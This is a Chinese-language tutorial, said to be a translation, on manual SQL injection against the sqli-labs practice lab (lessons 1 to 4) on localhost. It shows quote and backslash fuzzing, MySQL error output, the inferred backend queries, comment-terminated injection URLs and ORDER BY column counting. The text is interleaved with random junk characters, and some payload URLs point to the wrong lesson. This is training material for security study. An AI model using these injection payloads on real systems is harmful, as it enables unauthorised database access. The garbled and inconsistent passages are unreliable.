' W0 k8 v& ^8 S, x. D7 T6 c. Z整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。$ O+ s: b4 v8 J' r
继续模糊化:现在,让我们进一步采取模糊的字符. & `% i# e6 a' ~+ U W用单引号来进行测试 4 v3 z; x# I" a( p9 I( B; C" F) c, Aless1 0 y+ J3 L K1 I. phttp://localhost/sqli-labs/Less-1/?id=1‘ 9 O/ o. N4 N9 ^1 U0 NYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 # `/ ~7 A# K% X; F( M$ p: R( Z% Zless2 & E9 v7 P/ _; P0 K7 @http://localhost/sqli-labs/Less-2/?id=1 ’$ r8 `- ?; f) f3 m3 r
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1 , o1 `. d- q) p1 C! ^! d' f! f* ^9 O& H; S6 c+ Y
less33 j8 a8 Y! b3 g0 f
http://localhost/sqli-labs/Less-3/?id=1 ’; y) g2 [' U. F# k
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1- P' z7 e6 ? \/ |8 C F8 E7 k1 I
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.1 ]& u$ `5 X5 z7 J+ D3 f% T
用双引号进行测试 & z) w o; j1 u5 B, c用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。, A, R' m$ O4 p% \" o$ e
8 ]; U, B' B$ F l& R4 C
通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入., Z# w& {! p( w& b4 z' A
: w) z4 r) @. y' D+ ^& ]
综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。 ( e6 I0 Y s+ c1 A8 D用\进行测试6 a) o+ E0 w y. r7 a
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下: K3 X' q7 o/ X: s; @! v
less1# u' [2 V/ x1 K! q% ~9 w
http://localhost/sqli-labs/Less-1/?id=1\. k0 Q4 Y+ _ J! X7 U0 @
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 11 H( p/ D' }% G6 @6 n/ W$ t
less2 * u. S/ J" ?3 I' [" Hhttp://localhost/sqli-labs/Less-2/?id=1\ 9 W- g: o$ U/ m" Z3 W4 c; lYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1# L: G. s A* J
less3 3 v F! W# E& j" c8 Ghttp://localhost/sqli-labs/Less-3/?id=1\# |7 ?7 J- C% j" k: [( R
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1 4 Z+ `# }* s& m" E8 [) a iless4 0 G0 E) L7 \6 D/ ^& D6 z* z/ ~) ], phttp://localhost/sqli-labs/Less-4/?id=1\& U, A; w: k2 L% J+ Z5 v4 D- W
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1 , F* h: @% S9 o" A) N# I Iless1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 0 K2 @# ?# h5 x, \1 p. {less2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。 * R2 Y6 f( P/ N/ y, oless3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’). 5 D S/ n8 d% M9 n" c; Xless4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”).6 U( h/ i3 [, c! y: k! c3 b
这四种情况在后端查询中使用的语句实际分别为:( @" i5 }9 q. w5 `0 N/ W2 C
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1- L$ U5 W& H2 Y2 u
Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,10 V; G' x& |$ b! p3 y
Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1; u: X( n$ ^3 N! r
Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1+ R# ~( q# g2 n5 q' f/ K2 |! d
6 b0 r! U+ z; w5 N }. n) Y, _
对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如: . l3 C! l! q. @9 A3 k- v- y+ v* ]Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1+ F, d1 t0 C" T6 c1 ~8 x
当我们输入的参数$ID的值为1‘,查询语句就会变成如下:1 {: b4 s6 Z3 s% K
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1 ( g1 a" r* a% j; K8 R9 u( }( T7 n) [现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法: ; y( C$ x6 g& q: Q+ T+ m- K方法一: 2 w6 ]% A5 e( v! q0 I- H% k) d& I8 x可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#9 k4 X* Y$ |1 {- z, ^. v$ J; N8 h6 m
查询语句将变为如下: 7 o. w$ b0 C6 m' ]- tSELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1 . S2 E& T( T) j% t4 { I- ZSELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,1 7 p" S) W: ^+ C3 r' F% B( T注射的完整URL如下:( v1 ^. d' J0 {8 i) ?
http://localhost/sqli-labs/Less-1/?id=1′–++ ~* h' q* N8 L2 y) Q6 e
http://localhost/sqli-labs/Less-1/?id=1′ %23+ F7 V! ` K/ o {" w
(%23是#号的url编码) ( n9 z% N5 O. g) \! ~) A在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: 6 G7 K2 x9 D V. J4 \4 j8 Phttp://localhost/sqli-labs/Less-2/?id=1–+7 ?- D$ @6 A+ k0 W( p
/ R# W6 x6 X8 ~2 S$ mttp://localhost/sqli-labs/Less-2/?id=1 %23 : W7 D! ]! E( X) q" f. Z2 PSELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1 0 \# r8 b7 o" W$ d) zSELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1 ' P5 l6 D4 q- Q6 X' S在less3中,我们推断后端sql语句如下:. K& ^ D5 X: d0 ?% u( W& ^6 D
SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1# z( B2 d( r9 t1 }
所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句# H7 U' Q: g$ u0 b/ p& V; u
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,1 ! i" n8 f; a4 X3 uSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1; j% y) s. }7 W6 c3 q
注射: 1′) –+ 1′) # " a. ]8 N& s3 G0 o' j" K完整的注射URL: # m1 ^: x6 L: G- y2 @6 Ehttp://localhost/sqli-labs/Less-2/?id=1‘)-+ $ m& x- c# G8 k& D& O* i5 Jhttp://localhost/sqli-labs/Less-2/?id=1′) %23! P7 J$ h/ Y4 v/ g8 b1 L3 O; u% C8 C
在less4中,我们推广后端sql语句如下: ; I7 U% g8 u) gSELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 5 T, w& K- z! y4 U# A& P同样,需要关闭掉分隔符,然后注释掉后面的语句 1 r- \: h- ^' XSELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 6 K! o: e# T% @SELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,12 q7 M, [9 Y9 Y
注射: 1″) –+ 1″) # 6 G7 l# o* }9 ?8 r; `& a9 ]http://localhost/sqli-labs/Less-2/?id=1″)–+ 2 y, P7 K- H$ n- G' khttp://localhost/sqli-labs/Less-2/?id=1 “)%23& d3 E) U; q* G' A
通过查询了解表中的字段数 ( {, U* ]+ }& n2 X/ z8 M$ ]; T/ c, L正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。3 e% y) E2 L8 x+ x3 W! y9 e+ P7 b
下面我们测试用order by 1,order by 2……等来查询观察结果.) e* ~$ }: H' I) G
http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 , r# u! w+ j( S8 Z/ S* zhttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列. , q6 M, S7 M' _6 P( {0 S6 T7 G: f) n/ @Lesson2: : y! A! c1 _$ q* A' n2 rInjection: 1 ORDER BY 1 –+ => 没有错误. ) q( r+ \4 O( E( e6 `8 aInjection: 1 ORDER BY 2–+ => 没有错误.. k2 ]( d3 e9 g" B
Injection: 1 ORDER BY 3 –+ => 没有错误. , Y$ o7 @' r" Y+ Y- HInjection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列. ) S( @ J K. ]1 n当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 " K u t+ ]# a& Q/ x 9 b% z" F* `1 c! e8 W本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。